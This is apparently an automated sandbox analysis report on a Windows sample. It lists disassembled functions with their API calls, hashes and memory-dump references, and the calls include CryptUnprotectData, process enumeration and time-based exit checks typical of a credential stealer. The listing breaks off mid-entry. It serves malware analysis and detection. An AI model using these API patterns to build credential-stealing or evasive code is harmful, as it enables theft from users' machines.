lstrcat.KERNEL32(?,003A0B4E), ref: 0038C978

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: c9390e0e29b6330b4b63cbd8244cae09b46a1edabf3b2c9e1ec62700b4c848e7
Instruction ID: fe9466fdb3aa81d930198e6662756542708e1467587609b6b7b72e299c02e70d
Opcode Fuzzy Hash: c9390e0e29b6330b4b63cbd8244cae09b46a1edabf3b2c9e1ec62700b4c848e7
Instruction Fuzzy Hash: 63416E75D1421EDFDB10DFA4DD89FEEBBB8BB48308F1041A8E509A6280D7705A84DFA1

Function 00396920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0039696C
sscanf.NTDLL ref: 00396999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003969B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003969C0
ExitProcess.KERNEL32 ref: 003969DA

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: f96e8ed0e6c41b52cbf4623ce838ea9621604ca129246919722c1beb07e5aa3c
Instruction ID: 1c0d60252d1f48ffed597e5a55ad1bf9d586b779a637d7e427829fae7fb44487
Opcode Fuzzy Hash: f96e8ed0e6c41b52cbf4623ce838ea9621604ca129246919722c1beb07e5aa3c
Instruction Fuzzy Hash: CD21EA75D1420CAFCF05EFE4D945DEEBBB5BF48304F04852AE406A3250EB345609DBA9

Function 00387240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0038724D
RtlAllocateHeap.NTDLL(00000000), ref: 00387254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00387281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 003872A4
LocalFree.KERNEL32(?), ref: 003872AE

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: a78d74ef730aa6eab40973c3b3bf991248d381f490d962ce304d20c85af65c8c
Instruction ID: a1473e8d7eb55f4590928e8e807310a642b398fb03e812cecbd6613e7de44a77
Opcode Fuzzy Hash: a78d74ef730aa6eab40973c3b3bf991248d381f490d962ce304d20c85af65c8c
Instruction Fuzzy Hash: DC011275A40308BFEB14DFE4CD4AF9D7BB8EB44704F104555FB05AB2C0D670AA049B65

Function 00399600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0039961E
Process32First.KERNEL32(003A0ACA,00000128), ref: 00399632
Process32Next.KERNEL32(003A0ACA,00000128), ref: 00399647
StrCmpCA.SHLWAPI(?,00000000), ref: 0039965C
CloseHandle.KERNEL32(003A0ACA), ref: 0039967A

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 072a397b65f9a142fed76b571b4c79048c16dcbfbea374d7653b1647ab724729
Instruction ID: 92001967a9b51b1a9a1caa7c455302ce4578fb0f9cb137820c98b675791336ed
Opcode Fuzzy Hash: 072a397b65f9a142fed76b571b4c79048c16dcbfbea374d7653b1647ab724729
Instruction Fuzzy Hash: 6801E5B5A00208AFCF15DFA9CD48BEDBBF8EB58314F104189A90AA6240EB349A44DF51

Function 00398EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00385184,40000001,00000000,00000000,?,00385184), ref: 00398EC0

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 28782000c955892bf6cae6a2a13f734c4fb86f7b166ca9d1d1c436a700a90a5e
Instruction ID: 95de1232023111142a99b249e16509b9fce0f1d2a6f817128bc6c96078243a7c
Opcode Fuzzy Hash: 28782000c955892bf6cae6a2a13f734c4fb86f7b166ca9d1d1c436a700a90a5e
Instruction Fuzzy Hash: 26111C70600208BFDF01CF64E884FA737A9AF8A304F109448F9158B250DB35EC41DB60

Function 00397A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0115E220,00000000,?,003A0E10,00000000,?,00000000,00000000), ref: 00397A63
RtlAllocateHeap.NTDLL(00000000), ref: 00397A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0115E220,00000000,?,003A0E10,00000000,?,00000000,00000000,?), ref: 00397A7D
wsprintfA.USER32 ref: 00397AB7

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 89501a6fe3dcf545b4c65dae5128088ead61aceac9a78bd9397fd9336add23bd
Instruction ID: 24ebf55b201d9c54e250cf6f79f54dca383ea3183c293e86d384924b73eb982f
Opcode Fuzzy Hash: 89501a6fe3dcf545b4c65dae5128088ead61aceac9a78bd9397fd9336add23bd
Instruction Fuzzy Hash: EF118EB1D45618EFEB208B54DC49FA9BB78FB04721F10439AE91A932C0C7745E44CF51

Function 00746AAE Relevance: 5.4, Strings: 3, Instructions: 1605COMMON

Download Yara Rule

Strings

,L{U, xrefs: 007474A8
Y)k|, xrefs: 0074721B
qYro, xrefs: 007475B8

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,L{U$Y)k|$qYro
API String ID: 0-2192058398
Opcode ID: 6f2a97e6c9e63a0affcb144632d00c63d4d6aae52cd6e300b87505ead57b9aad
Instruction ID: 58f2448aab3378d3f40e36269a76d5b1e9c531684e6ba45bfdd27d91c803eb4f
Opcode Fuzzy Hash: 6f2a97e6c9e63a0affcb144632d00c63d4d6aae52cd6e300b87505ead57b9aad
Instruction Fuzzy Hash: 1FB217F360C2049FE308BE2DEC8567ABBE5EB94720F16493DE6C4C3744EA3598058697

Function 00393720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0039E118,00000000,00000001,0039E108,00000000), ref: 00393758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 003937B0

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: d4348127cc47563869fe6cf71ad2f40016a7bd3c94fb5c082f79461778444da6
Instruction ID: e9723b560ee478019b359f7695e6412e3af28f0376ee3451d56600f8b2bc00e5
Opcode Fuzzy Hash: d4348127cc47563869fe6cf71ad2f40016a7bd3c94fb5c082f79461778444da6
Instruction Fuzzy Hash: E541E770A40A28AFDB24DB58CC95F9BB7B5BB48702F5041D8E609EB290D7716E85CF50

Function 00389B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00389B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00389BA3
LocalFree.KERNEL32(?), ref: 00389BD3

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: d42320f5b3b8ea34cd81f7dc40a2430082c964841cf9bb4fa90a02a2474113c0
Instruction ID: 94be1979b62294aaa9137796579907972a170ca3106d6c5cfcd5ea42f27a58e8
Opcode Fuzzy Hash: d42320f5b3b8ea34cd81f7dc40a2430082c964841cf9bb4fa90a02a2474113c0
Instruction Fuzzy Hash: D211F7B8A00209EFDB05DF94D985EAEB7B5FF88304F104599E815A7350D770AE14CFA1

Function 0075756E Relevance: 4.1, Strings: 2, Instructions: 1602COMMON

Download Yara Rule

Strings

/7w, xrefs: 00757FBB
]l^?, xrefs: 007584BC

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /7w$]l^?
API String ID: 0-2544237452
Opcode ID: 3b10e71b6bbc49d2a509ce982c4166ba0be7c02b44248926698c4af61e5e28cf
Instruction ID: da53b9a3f55b3252271ea464211f27eb1f764426b5dbaab979e60a3e6acf00a7
Opcode Fuzzy Hash: 3b10e71b6bbc49d2a509ce982c4166ba0be7c02b44248926698c4af61e5e28cf
Instruction Fuzzy Hash: AAB21AF3A0C2049FE304AE29DC8567AFBE9EF94720F16893DE6C5C3744E63598058697

Function 0074D499 Relevance: 4.0, Strings: 2, Instructions: 1538COMMON

Download Yara Rule

Strings

^2-<, xrefs: 0074E2EE
A,{9, xrefs: 0074DCD3

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: A,{9$^2-<
API String ID: 0-2065318020
Opcode ID: ed2babb759d452c3ba873a5829e8aae3f2328c2373a3babfe5179d69bff79a2d
Instruction ID: e8619c73af039aee587fb8180bd9fbb6edca4c3549cd0c28b722e4cdc36429fa
Opcode Fuzzy Hash: ed2babb759d452c3ba873a5829e8aae3f2328c2373a3babfe5179d69bff79a2d
Instruction Fuzzy Hash: 5CB2E3F360C2009FE304AE29EC8567AFBE9EF94720F16893DEAC5C7744E63558058796

Function 0075B9B4 Relevance: 2.9, Strings: 2, Instructions: 427COMMON

Download Yara Rule

Strings

{ev, xrefs: 0075BC3D
E|, xrefs: 0075BDA5

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: E|${ev
API String ID: 0-407735908
Opcode ID: 6336fd2d88fce9929ff64282b75dbe3a9f2c079078a0655b1bae502ee54a5b47
Instruction ID: 538bb1685a0261f75bd2d841587106c45fdaf54e7317e3eecf5c236fe34b5bc8
Opcode Fuzzy Hash: 6336fd2d88fce9929ff64282b75dbe3a9f2c079078a0655b1bae502ee54a5b47
Instruction Fuzzy Hash: C0D1CFB260C6049FE304AE2AEC8567AF7E5EF98320F16893DE6C487704EA7558418B57

Function 007072E7 Relevance: 2.7, Strings: 2, Instructions: 216COMMON

Download Yara Rule

Strings

(?UJ, xrefs: 007074DE
As>, xrefs: 0070745F

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
